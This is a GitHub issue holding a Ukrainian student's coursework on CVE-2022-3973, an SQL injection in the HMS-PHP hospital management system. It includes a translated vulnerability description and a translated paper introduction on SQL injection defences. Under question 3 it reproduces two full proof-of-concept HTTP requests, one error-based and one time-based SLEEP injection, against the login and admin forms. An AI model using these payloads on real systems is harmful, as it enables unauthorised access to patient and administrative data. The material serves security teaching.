oleksandrblazhko / ai-191-troiak

0 stars 0 forks source link

CW7 #22

Closed ktry1 closed 11 months ago

ktry1 commented 11 months ago

Варіант №11

URL: https://nvd.nist.gov/vuln/detail/CVE-2022-3973

Запитання № 1

Опишіть ПЗ, в якому знайдено вразливість:

Це кваліфікаційна робота користувача Pingkon, який називається "HMS-PHP" (Hospital management system - PHP). Посилання: https://github.com/Pingkon/HMS-PHP. На жаль, відсутній детальний опис цього проєкту, але з назви можна здогадатися, що цей застосунок призначений для керування лікарнею. Зацікавленими у його використанні можуть бути організації, які надаються лікарські послуги, а також працівники відповідних закладів для яких цей застосунок може значно полегшити ведення записів.

Запитання №2

Опишіть знайдену вразливість , переклавши на українську розділ Description:

У Pingkon HMS-PHP виявлено вразливість, класифіковану як критичну. Вразлива невідома функція файлу /admin/admin.php компонента Data Pump Metadata. Маніпуляції з аргументом uname/pass призводять до SQL ін'єкції. Можливий запуск атаки віддалено. Вразливість була відкрита для громадськості та може бути використана. Ідентифікатор цієї вразливості – VDB-213552.

Запитання №3

Наведіть фрагменти прикладів уразливого програмного коду, розглянувши розділ References to Advisories, Solutions, and Tools.

На жаль, сам код SQL функцій не наведений в поясненнях, але присутні введені команди та характеристики проведення тесту:

  1. SQL ін'єкція через використання невідфільттрованих username та password: POST /adminlogin.php HTTP/1.1 Host: vulhms.test Content-Length: 153 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://vulhms.test Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0 .9,image/avif,image/webp,image/apng,/;q=0.8,application/s igned-exchange;v=b3;q=0.9 Referer: http://vulhms.test/adminlogin.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=p8jp2ja2hfplhfopqh577o2nd1 Connection: close

    uname=' OR (SELECT 12 FROM(SELECT COUNT(),CONCAT(USER(),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ace&pass=admin123&login=Login

  2. Вразливість через використання PHP admin/admin: POST /admin/admin.php HTTP/1.1 Host: vulhms.test Content-Length: 373 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://vulhms.test Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryANszhVvLtYgiU33l User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0 .9,image/avif,image/webp,image/apng,/;q=0.8,application/s igned-exchange;v=b3;q=0.9 Referer: http://vulhms.test/admin/admin.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=p8jp2ja2hfplhfopqh577o2nd1 Connection: close

    ------WebKitFormBoundaryANszhVvLtYgiU33l Content-Disposition: form-data; name="uname"

    admin' RLIKE SLEEP(5) AND 'ace'='ace ------WebKitFormBoundaryANszhVvLtYgiU33l Content-Disposition: form-data; name="pass"

    123123 ------WebKitFormBoundaryANszhVvLtYgiU33l Content-Disposition: form-data; name="add"

    Add New Admin ------WebKitFormBoundaryANszhVvLtYgiU33l--

Запитання № 4

В таблиці 2 наведено URL-посилання на наукові публікації, пов’язані з SQL-injection. Розглянувши приклад публікації, номер якої співпадає з номером вашого варіанту виконання лабораторних робіт, перекладіть української вказані назви розділи.
Публікація: https://www.researchgate.net/profile/Nabeel-Ali-10/publication/278847282_Review_of_the_defensive_approaches_for_structured_query_language_injection_attacks_and_their_countermeasures/links/5586b9f308ae7bc2f44caf7b/Review-of-the-defensive-approaches-for-structured-query-language-injection-attacks-and-their-countermeasures.pdf
Розділ: 1. Introduction

Нещодавнє збільшення кількості веб-додатків для онлайн-сервісів через веб-сторінки призвело до збільшення кількості клієнтів, які користуються загальним доступом [1]. Тому компанії та організації постійно прагнуть покращити свої комунікаційні можливості шляхом забезпечення захищених рівнів додатків для досягнення функціональності, що дозволить їм будувати та підтримувати відносини зі своїми стейкхолдерами [2]. Це створює ситуацію, коли зловмисник може використовувати вразливості впровадження мови структурованих запитів (SQLI) для контролю та порушення цілісності цілі.

Веб-застосунки відіграють важливу роль у нашому житті та в еволюції будь-якої країни. Веб-застосунки зазвичай взаємодіють із серверною базою даних для отримання та представлення постійних даних кінцевому користувачеві. Вразливість в безпечному дизайні програми може дозволити незаконний доступ до серверної бази даних через ін'єкцію та зловмисне оновлення даних [3] . Таким чином, безпека стала однією з головних проблем в останні роки, оскільки більшість веб-застосунків страждають від уразливостей, які роблять їх привабливими цілями для атак [4]. Таким чином, ця вразливість може бути використана терористами для збору особистих даних і отримання незаконного доступу до цілі [5]. Атака з використанням SQL-ін’єкції (SQLIA) є одним із найпоширеніших і домінуючих класів серйозних атак на веб-додатки [6]. SQLIA надає зловмисникам можливість отримати прямий доступ до бази даних і отримати конфіденційну інформацію з серверної бази даних [1]. SQL-ін’єкція для онлайн-додатків – це легальний доступ до бази даних. Несанкціонований доступ створеного користувача до поточних даних створює загрозу його конфіденційності, цілісності та авторитету. У результаті система може зазнати значних збитків у наданні належних послуг своїм користувачам або зазнати повного знищення [7]. SQLIA входить до категорії 10 найбільших уразливостей веб-додатків у 2013 році за даними Open Web Application Security Project OWASP [8].

SQLI відноситься до класу атак із ін'єкцією коду, під час яких дані, надані створеним користувачем, включаються у запит SQL таким чином, що частина введених даних користувача розглядається як код SQL. Використовуваний трюк полягає в тому, що цей запит або команда вводяться як вхідні дані, можливо, через веб-сторінки. SQLI — це один із загальніших класів уразливостей, які можуть виникнути під час програмування або виконання сценаріїв, які можуть статися коли мова програмування, або скриптингу вкладається в іншу [9]. Атака відбувається, коли дані, надані користувачем, не валідовані належним чином і коли дані включені напряму. Атака — це механізм або техніка, яка використовує слабкість безпеки, що виникає на рівні бази даних програми [10]. Вразливість наявна, коли введені користувачем дані не є строго типізованими й тому несподівано виконуються, або коли введені користувачем дані правильно відфільтровані для символів керування рядковими ескейп символами, вбудованими в оператори SQL [7].

У цьому документі ми представляємо детальний огляд і порівняльний аналіз поширених (попередніх і існуючих) захисних підходів або методів проти SQLIA, щоб дати єдине уявлення про запропоновані підходи як майбутню довідку для проведення всебічного дослідження та підкреслити необхідність подальшого дослідження ефективних та результативних методів або підходів.

oleksandrblazhko commented 11 months ago

Оцінка = 5 балів